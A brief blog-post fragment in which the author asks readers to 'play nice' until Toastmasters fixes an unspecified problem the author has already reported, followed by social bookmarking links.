Play nice until Toastmasters gets a chance to fix it, please. I've already let them know.
Cheers.
del.icio.us | digg